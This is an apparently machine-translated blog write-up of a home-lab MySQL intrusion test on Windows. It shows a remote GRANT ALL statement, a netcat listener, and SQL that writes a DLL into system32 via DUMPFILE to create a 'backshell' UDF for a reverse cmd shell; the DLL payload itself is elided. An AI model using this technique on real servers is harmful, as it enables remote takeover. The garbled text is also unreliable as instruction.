After the previous SQL server, I would like to try MYSQL's intrusion test and share it with you.
In general, I have been using MYSQL, And I am familiar with MYSQL. In comparison, I feel that MYSQL is safer. This is just what I guess, I hope it will not cause any argument... A blood case caused by a steamed bun...
Question 1
HOST: Win7
Virtual Machine: XP
Grant mysql remote permissions:
Copy codeThe Code is as follows:
Grant all privileges on *. * to database account @ authorized IP identified by 'database password ';
Flush privileges;
Remote permissions for hosts:
The host is successfully connected:
Before performing the intrusion test (with the picture showing the truth ):
After the intrusion test is executed (the truth is shown in the figure ):
Before restarting (see the following picture ):
After the restart (see the figure below ):
Question 2:
After the remote logon, write the code in yyd.txt, and then write the file in MySql:
Run another cmd command in Win7 to map the local port: nc-vv-l-p port number.
On the VM: Execute the select ing: select backshell ("physical server IP Address", port number );
This executes port 3306 bounce CMD
(No figure... Using a nc ing of nc software execution)
Approximate content of yyd.txt:
Copy codeThe Code is as follows:
Et @ a = concat ('',
Just some code );
Create table yyd (data LONGBLOB );
Insert into yyd values (""); updateyyd set data = @;
Select data from yyd into DUMPFILE 'C: \ windows \ system32 \ yyd. dll ';
Create function backshell returns string soname 'yyd. dll ';
Question 3:
Prevention
I felt a bit messy. I mainly shared two methods of intrusion, but the prevention part should be that the MySql service on XP was closed, but I did a lot of tests on XP earlier, I screwed up XP in the lower left .... I had to take out the MySql service on Windows 7.
I think the main problem is remote connection. "If MySql does not enable remote connection, we are still friends." joke: If MySql does not enable remote connection, the intrusion rate will be much lower.